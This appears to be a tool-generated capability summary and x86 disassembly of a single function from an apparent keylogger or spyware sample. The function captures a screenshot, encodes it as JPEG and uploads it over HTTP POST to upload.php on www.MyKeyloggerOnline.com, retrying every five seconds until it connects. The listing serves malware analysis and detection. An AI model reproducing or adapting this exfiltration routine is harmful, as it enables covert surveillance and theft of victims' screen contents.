Function at 0x4021d7
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
call fcn.00401fb6
cmp eax, 0
je 0x40249b
mov dword [ebp - 0x2c], 0
push 0x10
lea eax, [ebp - 0x3c]
push eax
call sub.kernel32.dll_RtlZeroMemory
mov dword [ebp - 0x3c], 1
push 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.gdiplus.dll_GdiplusStartup
or eax, eax
jne 0x402295
lea eax, [ebp - 0x20]
push eax
push 0
push dword [0x40448b]
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
or eax, eax
jne 0x40228d
push 0x404590
push str.image_jpeg
call fcn.00402119
or eax, eax
jne 0x402285
push 0
push 2
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x402285
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x28]
push eax
push 1
push dword [ebp - 0x2c]
call sub.ole32.dll_CreateStreamOnHGlobal
or eax, eax
jne 0x402285
push 0x40454c
push 0x404570
call fcn.004020c8
push 0x404570
push 0x404590
push dword [ebp - 0x28]
push dword [ebp - 0x20]
call sub.gdiplus.dll_GdipSaveImageToStream
push dword [ebp - 0x20]
call sub.gdiplus.dll_GdipDisposeImage
push dword [ebp - 0x24]
call sub.gdiplus.dll_GdiplusShutdown
cmp dword [ebp - 0x2c], 0
jne 0x4022a2
jmp 0x402490
push dword [ebp - 0x2c]
call sub.kernel32.dll_GlobalLock
mov dword [ebp - 0x10], eax
push dword [ebp - 0x2c]
call sub.kernel32.dll_GlobalSize
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x4022c4
cmp dword [ebp - 0x14], 0
jne 0x4022c9
jmp 0x40247a
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
cmp eax, 0
jne 0x4022ef
push 0x1388
call sub.kernel32.dll_Sleep
jmp 0x4022c9
push 1
push 0
push 3
push 0
push 0
push 0x50
push str.www.MyKeyloggerOnline.com
push dword [ebp - 4]
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 8], eax
cmp eax, 0
jne 0x40231c
push 0x1388
call sub.kernel32.dll_Sleep
jmp 0x4022ef
push 0
push 0x8468c200
push 0
push 0
push 0
push str.upload.php
push str.POST
push dword [ebp - 8]
call sub.wininet.dll_HttpOpenRequestA
mov dword [ebp - 0xc], eax
push str.Content_Type:_multipart_form_data__boundary___________________________screenshots
call sub.kernel32.dll_lstrlenA
push 0x20000000
push eax
push str.Content_Type:_multipart_form_data__boundary___________________________screenshots
push dword [ebp - 0xc]
call sub.wininet.dll_HttpAddRequestHeadersA
push 0xfbfef
push dword [0x4046f8]
call sub.kernel32.dll_RtlZeroMemory
push 0x404024
push 0x4044e2
push 0x4044bb
push 0x4044e2
push 0x404024
push dword [0x4046f8]
push 5
call fcn.00402950
add esp, 0x1c
push dword [0x4046f8]
call sub.kernel32.dll_lstrlenA
mov dword [ebp - 0x1c], eax
push 0xfbfef
push dword [0x4046f8]
call sub.kernel32.dll_RtlZeroMemory
push str.__r_nContent_Type:_image_jpeg_r_n_r_n
push str..jpg
push dword [0x4046e8]
push str.48c82ba173dbbe38407765b80adf4871
push str.8d51997b3d28e50840279691f5cdf72b
push str.Content_Disposition:_form_data__name_userfile___filename_
push 0x404024
push 0x4044bb
push 0x4044e2
push dword [0x4046f8]
push 9
call fcn.00402950
add esp, 0x2c
push dword [0x4046f8]
call sub.kernel32.dll_lstrlenA
mov dword [ebp - 0x18], eax
mov ebx, dword [0x4046f8]
lea eax, [ebx + eax]
push dword [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call fcn.00402a40
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
mov ebx, dword [0x4046f8]
lea eax, [ebx + eax]
push 0x404024
push 0x4044e2
push 0x4044bb
push 0x4044e2
push 0x404024
push eax
push 5
call fcn.00402950
add esp, 0x1c
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
push eax
push dword [0x4046f8]
push 0
push 0
push dword [ebp - 0xc]
call sub.wininet.dll_HttpSendRequestA
push dword [ebp - 0xc]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 8]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 4]
call sub.wininet.dll_InternetCloseHandle
cmp dword [ebp - 0x10], 0
je 0x402488
push dword [ebp - 0x2c]
call sub.kernel32.dll_GlobalUnlock
push dword [ebp - 0x2c]
call sub.kernel32.dll_GlobalFree
push dword [0x40448b]
call sub.gdi32.dll_DeleteObject
leave
ret